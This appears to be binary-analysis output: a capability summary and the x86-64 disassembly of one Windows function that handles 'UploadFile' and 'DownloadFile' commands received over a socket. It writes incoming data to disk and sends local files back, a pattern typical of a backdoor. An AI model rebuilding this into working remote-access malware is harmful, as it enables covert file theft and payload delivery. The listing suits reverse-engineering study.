Function at 0x140001560
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x1080
call fcn.140002610
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1070], rax
call fcn.140001000
xor esi, esi
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005650]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000187a
mov r8d, 3
lea rdx, [0x14000332c]
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x1400015e8
call fcn.140001240
mov r8d, 0xa
lea rdx, str.UploadFile
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x14000170a
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005650]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000170a
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
test rax, rax
je 0x14000170a
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [0x140005650]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [0x1400032a8]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov qword [rsp + 0x28], rcx
xor edx, edx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call rax
cmp ebx, 0x1000
je 0x140001690
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, recv
lea rdx, str.DownloadFile
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001591
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005650]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov r8d, 0x1000
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001591
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x14000186c
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov dword [rsp + 0x30], 0x1000
xor r8d, r8d
mov qword [rsp + 0x28], rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call rax
test eax, eax
js 0x14000186c
nop dword [rax]
mov rcx, qword [0x140005650]
lea rdx, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov dword [rsp + 0x30], 0x1000
xor r8d, r8d
mov qword [rsp + 0x28], rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call rax
test eax, eax
jns 0x140001800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001591
call fcn.140001000
jmp 0x140001591